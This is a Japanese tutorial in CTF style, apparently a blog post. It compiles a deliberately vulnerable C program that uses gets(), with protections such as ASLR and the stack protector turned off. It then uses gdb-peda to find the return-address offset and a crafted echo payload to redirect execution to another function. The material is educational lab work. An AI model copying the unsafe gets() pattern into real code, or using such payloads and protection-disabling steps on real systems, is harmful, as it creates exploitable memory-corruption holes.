C
Linux
CTF

バッファオーバーフローを起こして任意の関数を実行する。


バッファオーバーフローを起こして任意の関数を実行する。

C言語上のプログラムでバッファオーバフローを起こしリターンアドレスの書き換えを行います。main関数から他の関数を呼び出す方法をまとめた記事が少なかったのでメモ程度に残します。

実行環境

CentOS 6.10

GNOME 2.26.2

gdb-pedaを用いるのでそこのインストールは済ませたものとします。

もしインストールしてない方はこちらからお願いします

gdbpeda超入門


まずバッファオーバしたいプログラムを用意します。

#include <stdio.h> 

#include <stdlib.h>

int main(void){
char first[] = "!!Hello World!!";
char buf[16];

puts(">>");
gets(buf);
puts(first);
puts("that \'s All Fork!");
return EXIT_SUCCESS;
}
int sub(){
puts("Something wrong");
}


コンパイル

まずASLRをoffにする



sudo sysctl -w kernel.randomize_va_space=0


コンパイル

PIE、スタックプロテクターは無効化してコンパイル



gcc -o HelloWorld -O0 -g -fno-stack-protector HelloWorld.c -fno-PIE -fno-pie -fPIC


リターンアドレスまでのオフセットを求める

まずはgdb起動



$ gdb HelooWorld



ランダム文字列を作成



$ (gdb) pattern_create 50



実行



$ (gdb) r


さっきのランダム文字列を入力する。

するとこのようにバッファオーバフローを起こし停止する

image.png

ここでRSPのアドレスの文字列をメモ


オフセットの文字列の捜索

$ (gdb)patto "ここにRSPの文字列"

これでアドレスのオフセットが求まる。

今回は40であることがわかった。


次に実行したいアドレスを調べる。

アドレスの位置を調べる前に、再度gdbでバッファオーバフローの様子を確認する。

実行

$ (gdb) r

2.適当な文字列を入れてバッファオーバフロー

そのあとdisassコマンドに実行したい関数の名前を入力する。ここではsubです。

$ (gdb) disass sub

image.png

実行したらこんな感じ

ここで一番上のアドレスをメモ。


アドレスを先ほど求めたオフセットの値だけずらして入力する。

16進数で入力することに注意。

echo コマンドを使えば便利。

今回の場合は以下となります。



echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xea\x46\x55\x55\x55\x55\x00\x00' | ./HelooWorld


結果

こんな感じでsub()関数が呼び出されていることがわかります!

image.png


感想

こんな感じで簡単ですが動作の例を書いてみました。

環境によってはなかなかうまくいかないこともあったので試行錯誤が重要だと思いました。その際にこの記事が少しでも役に立てば幸いです